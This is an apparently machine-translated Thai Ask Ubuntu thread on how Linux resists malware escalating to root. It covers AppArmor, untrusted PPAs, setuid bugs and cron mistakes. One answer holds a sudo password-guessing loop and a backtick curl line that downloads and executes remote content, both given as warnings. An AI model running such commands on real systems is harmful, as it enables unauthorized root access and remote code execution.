ระบบรักษาความปลอดภัยอย่างไร?


24

ฉันเข้าใจว่าหากมัลแวร์ใด ๆ เข้ามาในระบบ Linux แล้วส่วนใหญ่จะได้รับสิทธิ์ระดับผู้ใช้และทำลายสิ่งใดก็ตามที่ผู้ใช้เข้าถึงได้เช่นแฟ้มของผู้ใช้

แต่สิ่งที่ทำให้มัลแวร์ป้องกันการเข้าถึงระดับรากได้อย่างแน่นอน? ไม่สามารถถอดรหัสรหัสผ่านจากภายในได้หรือไม่?


คำถามและคำตอบที่ยอดเยี่ยม!
NlightNFotis

คำตอบ:


20

นี่เป็นคำถามที่ซับซ้อน มีจำนวนของชั้นที่แตกต่างของการรักษาความปลอดภัยในระบบ Ubuntu จากกรอบที่ซับซ้อนเช่น AppArmor mmap_min_addrตัวแปรเคอร์เนลอ่อนน้อมถ่อมตนชอบ คุณสามารถเพิ่มคุณสมบัติเคอร์เนลบางอย่างเช่นการสุ่มหน่วยความจำในการผสม คุณสามารถค้นหารายการของพวกเขาพร้อมกับคำอธิบายอย่างรวดเร็วในอูบุนตูวิกิพีเดีย

อีกปัจจัยที่สำคัญคือการอัปเดตนั้นรวดเร็วและง่ายดายดังนั้นคอมพิวเตอร์ส่วนใหญ่จะได้รับการอัปเดตเป็นการแก้ไขด้านความปลอดภัยล่าสุด

เท่าที่ฉันรู้ผู้โจมตีที่ได้รับการเข้าถึงเครื่องคอมพิวเตอร์ของคุณมีสามวิธีในการปรับขนาดสิทธิ์เคอร์เนล:

  1. ถอดรหัสรหัสผ่าน แต่นี่จะเป็นเรื่องยากจริง ๆ รหัสผ่านจะถูกเก็บไว้เข้ารหัสโดยใช้อัลกอริธึมที่ไม่มีข้อบกพร่อง จะใช้เวลานานในการแตก

  2. บั๊กในเคอร์เนล แต่คุณสมบัติด้านความปลอดภัยทั้งหมดของเคอร์เนลจะเข้ามาขวางทาง

  3. หลอกให้ผู้ใช้แจกรหัสผ่านเช่นวิศวกรรมสังคม เพียงแสดงกล่องโต้ตอบรหัสผ่านปลอมหรือใช้เคล็ดลับอื่น ๆ นี่เป็นวิธีที่ง่ายที่สุดที่จะทำ

จุดที่สามคือจุดอ่อนที่อ่อนแอที่สุดในตอนนี้


5
โปรดทราบว่า "รหัสผ่าน" นี้เป็นรหัสผ่านของผู้ใช้ที่มีสิทธิ์ sudo-to-root บัญชีรูทถูกปิดใช้งานโดยค่าเริ่มต้น # 3 เป็นสิ่งที่เกิดขึ้นได้มากที่สุด นอกจากนี้หากคุณติดตั้งที่เก็บที่ไม่น่าเชื่อถือคุณกำลังแจกบัญชีรูทฟรีไปยังที่เก็บนั้น
Lekensteyn

@Lekensteyn อะไรนะ! การเพิ่ม repos ที่ไม่น่าเชื่อถือสามารถจัดการการเข้าถึงรูทได้อย่างไร? อย่างไรก็ตามคุณอาจต้องการโพสต์มันเป็นคำตอบฉันต้องการให้กระทู้นี้เป็นวิกิชุมชน
Oxwivi

ไม่มีเธรดใด ๆ บน askubuntu นอกเหนือจากกระบวนการเซิร์ฟเวอร์ คุณได้โพสต์เพียงความคิดเห็นไปยังคำตอบที่คุณคำถาม ฉันได้เพิ่มคำตอบด้วยอาหารสำหรับความคิด
Lekensteyn

@Oxwivi เมื่อคุณเพิ่ม PPA และติดตั้งแพคเกจแพคเกจจะมีสคริปต์ preinst และ postinst ที่สามารถทำสิ่งที่พวกเขาต้องการ sudoersนอกจากนี้ยังสามารถติดตั้งบริการที่จะทำงานเป็นรากหรือยุ่งกับ
ζ--

15

การถอดรหัสรหัสผ่านด้วยตนเองไม่สามารถทำได้เนื่องจาก Ubuntu ปิดใช้งานผู้ใช้รูทเป็นค่าเริ่มต้น อย่างไรก็ตามหากผู้ใช้ของคุณสามารถรูทผ่าน sudo และรหัสผ่านของคุณเป็นเรื่องง่ายที่จะคาดเดา / brute-force คุณเป็นระบบที่ไม่ปลอดภัย ตัวอย่างสคริปต์พยายามทดสอบรหัสผ่าน:

#!/bin/sh
for pass in password 123 ubuntu pass; do
    echo $pass|sudo -S evil_command
done

การเพิ่มที่เก็บที่ไม่น่าเชื่อถือช่วยให้ติดตั้งโปรแกรมจากที่เก็บนั้น แม้ว่าคุณจะไม่ได้ติดตั้งแอปพลิเคชั่นอย่างชัดเจนsudo apt-get install [app-from-repo]แต่ที่เก็บยังสามารถส่งผลกระทบต่อโปรแกรมอื่น ๆ โดยทำให้ Ubuntu เชื่อว่าที่เก็บมีเวอร์ชั่นที่ใหม่กว่าของโปรแกรมบางโปรแกรม

ขั้นตอนการปรับปรุงการเรียกใช้เป็นรากมิฉะนั้นไฟล์ไม่สามารถเขียนไปหรือ/usr/bin /etcทริกเกอร์การติดตั้งนั้นทำงานเป็นรูทด้วยและสามารถรันคำสั่งที่เป็นอันตรายและเป็นไปได้ ตอนนี้ไม่ต้องกังวลต้องดำเนินการด้วยตนเองเพื่ออัปเดตโปรแกรมและที่เก็บ Ubuntu ปลอดภัย ซอฟแวร์ปิดแหล่งที่มาเช่น Windows ไม่สามารถเชื่อถือได้อย่างเต็มที่เพราะคุณไม่สามารถตรวจสอบแหล่งที่มาของโค้ดที่เป็นอันตราย แต่คุณสามารถตรวจสอบแหล่งที่มาของการประยุกต์ใช้อูบุนตูถ้าคุณจำเป็นต้อง (ใช้ไม่ได้กับโปรแกรมที่เป็นกรรมสิทธิ์เช่นsun-java6หรือ Flash)

ตามที่กล่าวไว้ใน Javier Rivera ข้อผิดพลาดของเคอร์เนลสามารถนำไปสู่การใช้รหัสโดยอำเภอใจได้ แต่ซอฟต์แวร์ที่บั๊กอาจเป็นอันตรายได้เช่นกันโดยเฉพาะsetsuidไบนารีรูทของbuggy (ไบนารีซึ่งจะทำงานภายใต้เจ้าของไฟล์รูท) และโปรแกรมอื่น ๆ

คุณสามารถสร้างช่องโหว่ความปลอดภัยในระบบของคุณหากคุณไม่ใส่ใจกับสิ่งที่คุณทำ ตัวอย่างเช่นโดยไม่เข้าใจแนวคิดของ cronjobs คุณได้เพิ่ม cronjob /etc/cron.dailyที่เรียกใช้โปรแกรมในโฟลเดอร์บ้านของคุณ (เช่น/bin/sh /home/your-username/myscript.shหากไฟล์ myscript.sh เขียนได้โดยคุณคุณสามารถลบทิ้งได้ รหัสmyscript.shที่จะถูกเรียกใช้ในฐานะรูท (การเพิ่มระดับสิทธิ์)

เพื่อความปลอดภัยให้ใช้ความคิดของคุณ! อย่ารันคำสั่งจากแหล่งที่ไม่น่าเชื่อถือหากคุณไม่ทราบว่ามันทำอะไร หากมีคนบอกว่าวิ่ง`curl 3221233674`ด้วยเห็บหลัง 3221233674 เป็นอีกวิธีในการเขียน192.0.32.10(IP ของ example.com) ดังนั้นมันจะเท่ากับ:

`curl http://example.com/`

back-ticks เหล่านั้นทำให้เอาต์พุตถูกเรียกใช้งานเป็นคำสั่งเชลล์ ภาษาอังกฤษแบบธรรมดา "ดาวน์โหลดหน้าhttp://example.com/แล้วลองเรียกใช้งานหน้าดาวน์โหลด"

ตอนแรกคุณจะไม่เห็นสิ่งที่เป็นอันตรายในคำสั่งที่กำหนด แต่ตอนนี้คุณรู้แล้วว่ามันสามารถถูกทำร้ายได้เช่นกัน

ตรวจสอบคำสั่ง / สคริปต์ที่คุณได้รับจากแหล่งที่ไม่น่าเชื่อถือเช่นอินเทอร์เน็ต


1
ขอบคุณสำหรับคำตอบฉันหวังว่าคุณจะไม่สนใจการแก้ไขของฉัน จดบันทึกการแก้ไขของฉันเพื่อพัฒนาภาษาอังกฤษของคุณ
Oxwivi

2
ไม่ฉันไม่สนใจ การปรับปรุงทุกคนยินดีที่จะต้อนรับ :)
Lekensteyn

ไม่ว่าจะเป็นโพสต์ที่ยอดเยี่ยมคะแนนที่คุณกล่าวถึงจะต้องถูกบันทึกไว้!
Oxwivi
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.